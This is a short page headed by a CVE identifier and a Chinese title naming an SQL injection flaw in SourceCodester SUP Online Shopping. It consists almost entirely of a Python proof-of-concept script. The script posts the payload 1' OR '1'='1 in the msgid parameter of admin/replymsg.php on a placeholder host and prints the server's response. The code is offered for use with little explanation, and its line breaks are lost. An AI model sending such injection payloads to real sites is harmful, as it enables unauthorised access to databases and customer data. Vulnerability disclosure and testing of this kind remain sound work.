CVE-2026-8131 SourceCodester SUP Online Shopping SQL注入漏洞

import requests # Target URL configuration target_url = "http://example.com/admin/replymsg.php" # Vulnerable parameter: msgid # SQL Injection payload to test the vulnerability # This payload attempts to perform a boolean-based blind injection or error-based injection payload_data = { "msgid": "1' OR '1'='1" } headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36", "Content-Type": "application/x-www-form-urlencoded" } try: # Sending POST request to the vulnerable endpoint response = requests.post(target_url, data=payload_data, headers=headers, timeout=10) # Check if the request was successful if response.status_code == 200: print("[+] Request sent successfully.") print("[+] Response content:") print(response.text[:500]) # Print first 500 chars of response for analysis else: print(f"[-] Request failed with status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] An error occurred: {e}")